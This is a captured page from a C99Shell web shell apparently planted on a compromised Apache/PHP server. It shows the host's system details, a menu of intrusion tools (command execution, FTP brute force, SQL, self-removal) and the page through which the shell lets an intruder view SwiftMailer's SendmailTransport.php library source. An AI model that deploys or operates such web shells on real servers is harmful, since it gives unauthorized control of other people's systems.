!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/uploads/script/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Transport/   drwxr-xr-x
Free 13.08 GB of 57.97 GB (22.56%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     SendmailTransport.php (4.82 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 * This file is part of SwiftMailer.
 * (c) 2004-2009 Chris Corbyn
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

/**
 * SendmailTransport for sending mail through a Sendmail/Postfix (etc..) binary.
 *
 * Supported modes are -bs and -t, with any additional flags desired.
 * It is advised to use -bs mode since error reporting with -t mode is not
 * possible.
 *
 * @author Chris Corbyn
 */
class Swift_Transport_SendmailTransport extends Swift_Transport_AbstractSmtpTransport
{
    
/**
     * Connection buffer parameters.
     *
     * @var array
     */
    
private $params = [
        
'timeout' => 30,
        
'blocking' => 1,
        
'command' => '/usr/sbin/sendmail -bs',
        
'type' => Swift_Transport_IoBuffer::TYPE_PROCESS,
        ];

    
/**
     * Create a new SendmailTransport with $buf for I/O.
     *
     * @param string $localDomain
     */
    
public function __construct(Swift_Transport_IoBuffer $bufSwift_Events_EventDispatcher $dispatcher$localDomain '127.0.0.1'Swift_AddressEncoder $addressEncoder null)
    {
        
parent::__construct($buf$dispatcher$localDomain$addressEncoder);
    }

    
/**
     * Start the standalone SMTP session if running in -bs mode.
     */
    
public function start()
    {
        if (
false !== strpos($this->getCommand(), ' -bs')) {
            
parent::start();
        }
    }

    
/**
     * Set the command to invoke.
     *
     * If using -t mode you are strongly advised to include -oi or -i in the flags.
     * For example: /usr/sbin/sendmail -oi -t
     * Swift will append a -f<sender> flag if one is not present.
     *
     * The recommended mode is "-bs" since it is interactive and failure notifications
     * are hence possible.
     *
     * @param string $command
     *
     * @return $this
     */
    
public function setCommand($command)
    {
        
$this->params['command'] = $command;

        return 
$this;
    }

    
/**
     * Get the sendmail command which will be invoked.
     *
     * @return string
     */
    
public function getCommand()
    {
        return 
$this->params['command'];
    }

    
/**
     * Send the given Message.
     *
     * Recipient/sender data will be retrieved from the Message API.
     *
     * The return value is the number of recipients who were accepted for delivery.
     * NOTE: If using 'sendmail -t' you will not be aware of any failures until
     * they bounce (i.e. send() will always return 100% success).
     *
     * @param string[] $failedRecipients An array of failures by-reference
     *
     * @return int
     */
    
public function send(Swift_Mime_SimpleMessage $message, &$failedRecipients null)
    {
        
$failedRecipients = (array) $failedRecipients;
        
$command $this->getCommand();
        
$buffer $this->getBuffer();
        
$count 0;

        if (
false !== strpos($command' -t')) {
            if (
$evt $this->eventDispatcher->createSendEvent($this$message)) {
                
$this->eventDispatcher->dispatchEvent($evt'beforeSendPerformed');
                if (
$evt->bubbleCancelled()) {
                    return 
0;
                }
            }

            if (
false === strpos($command' -f')) {
                
$command .= ' -f'.escapeshellarg($this->getReversePath($message));
            }

            
$buffer->initialize(array_merge($this->params, ['command' => $command]));

            if (
false === strpos($command' -i') && false === strpos($command' -oi')) {
                
$buffer->setWriteTranslations(["\r\n" => "\n""\n." => "\n.."]);
            } else {
                
$buffer->setWriteTranslations(["\r\n" => "\n"]);
            }

            
$count \count((array) $message->getTo())
                + 
\count((array) $message->getCc())
                + 
\count((array) $message->getBcc())
                ;
            
$message->toByteStream($buffer);
            
$buffer->flushBuffers();
            
$buffer->setWriteTranslations([]);
            
$buffer->terminate();

            if (
$evt) {
                
$evt->setResult(Swift_Events_SendEvent::RESULT_SUCCESS);
                
$evt->setFailedRecipients($failedRecipients);
                
$this->eventDispatcher->dispatchEvent($evt'sendPerformed');
            }

            
$message->generateId();
        } elseif (
false !== strpos($command' -bs')) {
            
$count parent::send($message$failedRecipients);
        } else {
            
$this->throwException(new Swift_TransportException(
                
'Unsupported sendmail command flags ['.$command.']. '.
                
'Must be one of "-bs" or "-t" but can include additional flags.'
                
));
        }

        return 
$count;
    }

    
/** Get the params to initialize the buffer */
    
protected function getBufferParams()
    {
        return 
$this->params;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0064 ]--